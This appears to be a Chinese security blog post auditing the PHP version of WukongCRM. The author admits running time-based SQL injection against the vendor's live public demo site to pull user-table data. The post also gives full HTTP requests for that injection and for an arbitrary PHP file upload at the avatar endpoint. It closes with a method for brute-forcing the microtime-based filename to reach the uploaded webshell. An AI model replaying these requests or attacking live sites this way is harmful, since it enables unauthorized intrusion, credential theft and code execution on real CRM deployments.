0x01 目标熟悉
CRM:客户关系管理系统
官方地址:https://www.5kcrm.com/
源码下载地址:https://gitee.com/wukongcrm
可以看到共有5类,分别是:基于Spring Cloud Alibaba微服务框架、基于jfinal框架、基于TP5.0框架,以及php和java的前端
这里我们审计的是基于TP5.0框架的版本:https://gitee.com/wukongcrm/crm_php
0x02 环境搭建
参考官方文档:https://gitee.com/wukongcrm/crm_php
老样子,环境使用windows + phpstudy,将下载后的项目放到phpstudy对应的web目录下,一路下一步即可
有一个地方需要注意:
1、悟空crm需要用到redis,所以php需要配置redis扩展,以及需要安装redis服务端,可参考文章:http://www.wjhsh.net/lyzaidxh-p-11458909.html
安装时发现悟空crm要求php最低版本7.0,之前用的5.6,又要重新配置一下
安装时会要求输入序列号,序列号在官方文档中给出了,其他信息如下:
数据库名:5kcrm,数据库密码:root,管理员账号:13788889999,管理员密码:admin888
安装好后,如下图
但是在登录的时候,会提示“网络错误 请检查你的网络”
各种谷歌搜索,尝试过导入public/sql/5kcrm.sql,但是admin_user中没有用户,依旧登录不上
利用后台注入,对官网的demo站进行sql注入,时间盲注有点慢,耐心等待后,拿到用户表中的数据,最后,依照5kcrm.sql中的表结构,挨个字段构造数据,再次尝试登录发现可成功登录
0x03 代码审计
01 后台注入
时间有限,先不去分析路由、鉴权,后台挂着xray,访问各个接口,经过大量测试,在如下接口发现一处sql注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| POST /index.php/work/task/dateList HTTP/1.1 Host: demo11.5kcrm.net User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 10.0; WOW64; Trident/7.0; Sleipnir6/6.4.4; SleipnirSiteUpdates/6.4.4) Accept: application/json, text/plain, */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/json;charset=UTF-8 authKey: 22d8da8ce545a6e19a321f8a716bfda6 sessionId: b7i69u3nlkf6835up2lmbidndb Content-Length: 37 Origin: http://demo11.5kcrm.net Connection: close Referer: http://demo11.5kcrm.net/ Cookie: PHPSESSID=b7i69u3nlkf6835up2lmbidndb
{"start_time":"123","stop_time":"12"}
|
sqlmap验证
1
| python3.exe .\sqlmapproject-sqlmap-1.6.10\sqlmap.py -r 1.txt
|
有漏洞,如下图
可爆出数据,如下图
代码中的加密方式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| /** * 用户密码加密方法 * @param string $str 加密的字符串 * @param [type] $auth_key 加密符 * @param [string] $username 用户名 * @return string 加密后长度为32的字符串 */ function user_md5($str, $auth_key = '', $username = '') { return '' === $str ? '' : md5(sha1($str) . md5($str . $auth_key)); }
if (user_md5($param['new_pwd'], $userInfo['salt'], $userInfo['username']) == $userInfo['password']) { $this->error = '密码没改变'; return false; }
|
假如帐号:18888888888密码:123456a
1 2 3 4 5 6 7 8 9 10
| <?php echo md5(sha1("123456a") . md5("123456a" . "48be"));
echo "<br>"; if ("860a39355e1e4d1818144ac13bfc964f" == "860a39355e1e4d1818144ac13bfc964f") { echo "yes, it's same"; } else { echo "no, it's not same"; }
|
测试后发现和爆出来的hash一样
但是cmd5中没有针对此方式的解密,现在的利用思路只能是本地跑或者用来update数据库中password字段的值
02 后台上传
常规的测一下头像上传功能,修改后缀和内容,不出意外返回500,意外的是文件传上去了,不过名字是随机的
如下数据包是管理员头像上传处抓的数据包,方便起见,可替换authKey和sessionId后,直接发送如下数据包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| POST /crm_php-master/index.php/admin/users/updateImg HTTP/1.1 Host: 10.211.55.3 User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 10.0; WOW64; Trident/7.0; Sleipnir6/6.4.4; SleipnirSiteUpdates/6.4.4) Accept: application/json, text/plain, */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate authKey: 59243dc2a1b709a047ee85c3106f38b0 sessionId: 0snel6vf6hlt7nl8as1lar6q31 Content-Type: multipart/form-data; boundary=---------------------------25781395022072740844187142620 Content-Length: 341 Origin: http://10.211.55.3 Connection: close Referer: http://10.211.55.3/crm_php-master/index.html Cookie: PHPSESSID=0snel6vf6hlt7nl8as1lar6q31
-----------------------------25781395022072740844187142620 Content-Disposition: form-data; name="id"
1 -----------------------------25781395022072740844187142620 Content-Disposition: form-data; name="file"; filename="1.php" Content-Type: image/png
<?php phpinfo();?> -----------------------------25781395022072740844187142620--
|
访问后如下图
现在的问题是如何获取文件名,查看相关代码
1 2 3
| $savename = date('Ymd') . DS . md5(microtime(true));
20221216DS77f39cc096d7e05ab87e1171aa5ae4c0
|
可以知道文件名是如下代码生成的
其中
1 2 3
| microtime(true)
1671199810.2335
|
也就是说每一秒有1万种可能,我们自己构造时间戳的话
1 2 3 4 5 6
| echo strtotime("2022-12-16 17:47:20"); echo "<br>"; echo strtotime("2022-12-16 17:47:22");
1671184040 1671184042
|
我们可以这样,将数据包发送到repeater中,看着时间,点击发送,如下图
比如我们在2022-12-16 22:22:30点击发送,对应的时间戳是
1 2 3
| echo strtotime("2022-12-16 22:22:30");
1671200550
|
编写python脚本,构造小数点后4位,实际测试中发现,几乎不会有.0xxx系列的时间戳,所以可以去掉.0xxx,这样就减少1000个,可以看到如下这个文件名就是我们要找的webshell